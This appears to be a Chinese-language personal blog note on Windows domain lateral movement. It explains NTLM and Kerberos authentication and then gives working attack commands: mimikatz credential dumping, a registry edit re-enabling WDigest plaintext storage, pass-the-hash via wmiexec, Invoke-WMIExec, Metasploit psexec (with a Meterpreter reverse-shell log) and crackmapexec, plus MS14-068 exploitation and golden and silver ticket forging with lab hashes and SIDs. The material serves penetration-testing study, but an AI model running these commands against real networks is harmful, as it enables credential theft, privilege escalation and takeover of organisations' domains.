横向移动常见手法

 
上次的笔记不小心被我删除了,这次就重新总结一下,温故而知新吗(这篇学习笔记很久就写完了,最近吧内网的东西都熟悉了一遍,发现了这个笔记)~
 

Windows的Hash类型

在内网域渗透的过程中最重要的就是就是对windows的认证机制的理解
 

  • Windows中的hash类型
     
LM HASH
很古老的hash类型,在LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据,Vista以前的版本使用过,之后的版本中都默认禁用了LM协议.

NTLM HASH
Vista以上的操作系统使用的Hash,通常意义上的NTLM Hash指存储在SAM数据库以及NTDS数据库中对密码进行摘要计算后的结果,这类Hash可以直接用于Pth(哈希传递),并且通常在lsass进程中(使用mimikatz抓取或procdump down下内存),便于ssp使用.

NET-NTLM HASH
一般用于网络身份认证(例如NTLM认证中),目前分为两个版本:
Net-NTLMv1
Net-NTLMv2
此类hash不能直接用来pth,但是可以通过暴力破解来获取明文密码

windows的认证机制

 

  • 工作组认证(NTML认证)
1.客户端发起认证请求
2.服务端收到认证请求,向客户端发送随机数(challenge/挑战)
3.客户端使用NTLM Hash打乱随机数,生成Net-NTLM Hash发送回服务端(注意是用MTLMhash打乱的,所以我们要是有用户的hash值,那么我们也就可以伪造认证,造成pth攻击)

 

  • 域认证(NTML认证)
     
    实际中也就是比工作组认证多了个域控的角色
     
1.client输入username,password和domain,然后client会把password hash后的值缓存在本地
2.client将username的明文发送给server(DC)
3.DC生成一个16字节的随机数,即challenge,在传回client
4.client收到challenge以后,先复制一份出来,然后和缓存中的密码hash在一同hash一次,混合后的值成为response,之后client再将challenge,response,以及username一并传给server
5.server在收到client传过来的这三个值以后会把他们都转发给DC
6.DC接受到三个值以后,会根据username到域控的账号数据库(ntds.dist)里面找到该username对应的hash,然后把这个hash拿出来和传过来的challenge值在混合hash
7.将混合后的hash值与response,进行比较,相同则认证成功,反之失败,当然,如果是本地登录,所有验证肯定也全部直接在本地进行了

根据认证过程可以看到,假设知道了hash值还是可以伪造登陆的

 

  • 域认证(Kerberos协议,票据伪造)
主要是分为3步

第一:从AS服务器中获取TGT票据
用户在客户端输入账号和密码之后,会对密码进行hash处理,作为user-secret-key
1. 客户端将用户名发送给AS服务器申请服务,在AS服务器中会对用户名进行验证,在AS服务器本地数据库中查询到该用户名的密码,并使用hash生成user-secrect-key.
2. AS服务器向用户发送两样东西:
    1) Client/TGS会话密钥,使用user-secrect-key进行加密
    2) TGT,包含TGS会话密钥,用户信息,时间戳,TGT有效期。使用TGS密钥进行加密
3.用户接收到消息之后,回使用本地的user-secret-key对消息1)进行解密,如果解密成功,说明用户提供的凭证是正确的,此时用户得到了加密后的TGT

第二:从TGS服务器中获取访问权限
1.客户端向TGS服务器发送信息:
    1) 第一步骤中的TGT
    2) 认证信息(认证符(Authenticator)),包含用户id以及时间戳,通过TGS会话密钥进行加密。
2.TGS服务器收到消息之后,会使用TGS密钥对消息1)进行解密,获取到TGS会话密钥,进而对消息2)进行解密,在对用户id以及时间戳进行认证,如果认证成功,向客户端发送消息:
    1) client-server-ticket(包含SS会话密钥,用户名信息以及时间戳),使用ss密钥进行加密
    2) ss会话密钥使用TGS会话密钥进行加密
3.客户端收到信息之后会对消息2)进行解密,获得ss会话密钥。

第三: 访问服务
1.客户端向ss服务器发送以下消息:
    1)第二步骤中的client-server-ticket
    2)新的Authenticator,包含用户信息,时间戳。通过SS会话密钥进行加密
2.SS服务器收到消息之后,会使用ss密钥对消息1)进行解密,解密之后使用ss会话密钥对消息2)解密,解密成功之后会得到authenticator,认证之后,发送:
    1)新时间戳,Client发送的时间戳加1,通过ss会话密钥进行加密
3.客户端收到时间戳之后,解密确认,成功之后发送服务请求
4.ss服务器收到之后提供服务。

 
除了Kerberos协议的认证流程不懂之外其他的都已经了解了(感觉这个Kerberos对我来说确实有点难了emmmmm)
 

横向移动

 

  • 哈希传递

经典的攻击方式,原理就是攻击者直接通过LM Hash和NTLM Hash访问远程主机或服务,而不提供明文密码.

适用于以下情况

* 域/工作组环境
* 可以获得hash,但是条件不允许对hash爆破
* 内网中存在和当前机器相同的密码

 
针对pth微软也打过补丁kb2871997,但是对于本地的administrator以及域内的管理员是无效的,仍然可以利用其hash进行pth,最好的一点就是防止了mimikatz等工具直接抓取明文密码(但是我们可以down下内存来本地抓取,hash还是可以抓取到的,因为一些认证过程会用到hash),打了补丁的机器在wdigetst里面的密码一栏为空.
 
当然还有人给出了绕过的办法(修改注册表,未测试)
 
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
 
注销、重启后生效(有时间在测试)
 

  • 使用mimikatz(不仅仅只是抓取密码,pth,票据的制作都可以!)
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:administrator /domain:MIKASA /ntlm:0ceacf18afa10f3c5c30bc43e115cb4a

这样的话就会在本地创建一个cmd,直接就可以用IPC管道符远程连接了(cmd退出就会失效).

 

  • 使用wmiexec(隐蔽性极高,无文件)

下载地址
 

wmiexec.exe -hashes 00000000000000000000000000000000:283471905734ce1951aa2b5f0d7253f6 MIKASA.com/administrator@192.168.22.138 "whoami"

直接有回显执行命令

还有一个是PowerShell

set-executionpolicy remotesigned   //powershell中开启运行脚本的权限

 Import-Module .\Invoke-WMIExec.ps1   //导入函数

Invoke-WMIExec -Target 192.168.22.138 -Domain MIKASA.com -Username administrator -Hash 283471905734ce1951aa2b5f0d7253f6 -Command "calc.exe" -verbose

当然这个项目中还有smbexec等等,利用方法都是一致的
  • 使用msf
use exploit/windows/smb/psexec    
xxxxx
xxx
xxx
smbpass => 283471905734ce1951aa2b5f0d7253f6:283471905734ce1951aa2b5f0d7253f6
msf5 exploit(windows/smb/psexec) > exploit 

[*] Started reverse TCP handler on 192.168.22.1:4444 
[*] 192.168.22.138:445 - Connecting to the server...
[*] 192.168.22.138:445 - Authenticating to 192.168.22.138:445|MIKASA.com as user 'administrator'...
[*] 192.168.22.138:445 - Selecting PowerShell target
[*] 192.168.22.138:445 - Executing the payload...
[+] 192.168.22.138:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (180291 bytes) to 192.168.22.138
[*] Meterpreter session 8 opened (192.168.22.1:4444 -> 192.168.22.138:52238) at 2019-12-08 21:20:41 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM


可以直接获取到
  • 使用CS
pth domain\user ntlmhash

shell dir \\主机名\C$  

不行的话在用CS右键 Access-> Make token按操作就行了

CS的东西还是挺多的,这里面暂时就不先总结了

  • Linux/MAC横向移动

下载链接

使用IMPACKET工具
python wmiexec.py -hashes 00000000000000000000000000000000:283471905734ce1951aa2b5f0d7253f6  MIKASA.com/administrator@192.168.22.138  "whoami"

 
也是可以的
 

  • 使用crackmapexec批量扫描

下载链接

crackmapexec 192.168.0.0/24 -u administrator -H 03bebb338e70244589ea67c7439c77ba

//枚举C段

没有安装成功
 

  • Kali

自带了很多的哈希传递的工具(没怎么用过KALI)
 

票据伪造(票据传递/ptt)

 
票据传递的攻击就是利用Kerberos协议进行攻击,暂时介绍三种常见的攻击方法ms14-058,Golden ticket,sliver ticket.
 
下面再简单的说明一下域内的kerberos协议工作方式
 

客户机将明文密码进行ntml哈希,然后和时间戳一起加密(使用krbtgt密码的hash作为密钥),发送给kdc(域控),kdc对用户进行检测,成功之后创建TGT(Ticket-Granting Ticket)
将TGT进行加密签名返回给客户机器,只有与用户才可以读取kerberos中TGT的数据
然后客户机将TGT发送给域控制器KDC请求TGS(票证授权服务)票证,并且TGT进行检测
检测成功之后,将目标服务账户的NTML以及TGT进行加密,将加密后的结果返回给客户机

 

  • ms14-068(对应补丁KB3011780)
     
    利用的是密钥分发中心(KDC)的漏洞,允许任意普通域用户伪造任意票据
      windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。
    1. 在请求AS时,将require_PAC设置成False。
    2. 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
    3. TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT(微软的锅)
     
    利用前提
域控没有打补丁MS14-069(KB3011780)
拿下一台加入域的计算机
有这台域内计算机的与用户密码和SID

 
利用过程
 

whoami /user获取域用户的sid
 

 
使用mimikatz抓取密码
 
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

 
 
ms14-068.exe -u win7@MIKASA.com -s S-1-5-21-3006648259-3336348783-1992286540-1104 -d WIN-Q1E9PO4969I.MIKASA.com -p xxx
 
在使用mimikatz将证书写入,升级为域管理员
 
kerberso::ptc 证书名字
 
之后就可以使用psexec、wmiexec等免密码的执行命令登录了

 
psexec64.exe \\WIN-Q1E9PO4969I cmd.exe

 
参考文章:

https://www.cnblogs.com/backlion/p/6820744.html?utm_source=itdadao&utm_medium=referral

http://xnianq.cn/2018/10/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E4%B9%8B%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/

  • 黄金票据(类似于域控的后门)

原理:kerberos协议认证过程中,客户端将自己的信息发送给KDC,KDC使用krbtgt用户密码hash作为密钥进行加密,生成TGT(也就是说我们获取得到了krbtgt的密码hash就可以任意伪造TGT了),但是krbtgt的密码hash只有DC上才有
 
适用场景

知道krbtgt用户的hash(说明已经获取到了域控制器的权限)
知道域名称
知道域的SID值
知道要伪造的用户名

 

先登录到域服务器,dump krbtgt用户的hash值,获取域sid
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit" > c:\1.txt
获取域SID:S-1-5-21-3006648259-3336348783-1992286540
krbtgt的hash: c06e999c1a956bf99502142582e1b495
到普通域用户机器上使用mimikatz生成黄金票据
kerberos::golden /user:administrator /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /krbtgt:c06e999c1a956bf99502142582e1b495  /ptt 
直接内存注入

或者
使用/ticket:test.kirbi参数导出凭据在使用
kerberos::ptt test.kirbi注入

 
psexec64.exe \\WIN-Q1E9PO4969I cmd.exe

 
防御措施

建议经常更新krbtgt的密码
还有的分析黄金票据有局限性
https://www.cnblogs.com/backlion/p/8127868.html

OK,关于黄金票据就到此结束了.

  • 白银票据

白银票据就跟黄金票据不同了,他并不是像黄金票据一样利用krbtgt伪造TGT,他是直接不与KDC通信,使用的是计算机账户的hash(域控的计算机账户)来伪造TGT,因此只能访问特定的服务.
 

首先上域控中抓取密码
获取到目标机器的hash(注意是机器hash而不是域用户hash)
9f26d10e5bbcb5b891fc6ca79e53a033
mimikatz伪造白银票据


kerberos::golden /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540  /target:WIN-Q1E9PO4969I.MIKASA.com /rc4:a3c828040b117c4c4cc8f2b8ff82a24f  /service:cifs /user:win7 /ptt

 
之后就可以访问域控的文件系统了
 

 

posted @ 2020-02-17 20:22  Zahad003  阅读(2162)  评论(0编辑  收藏  举报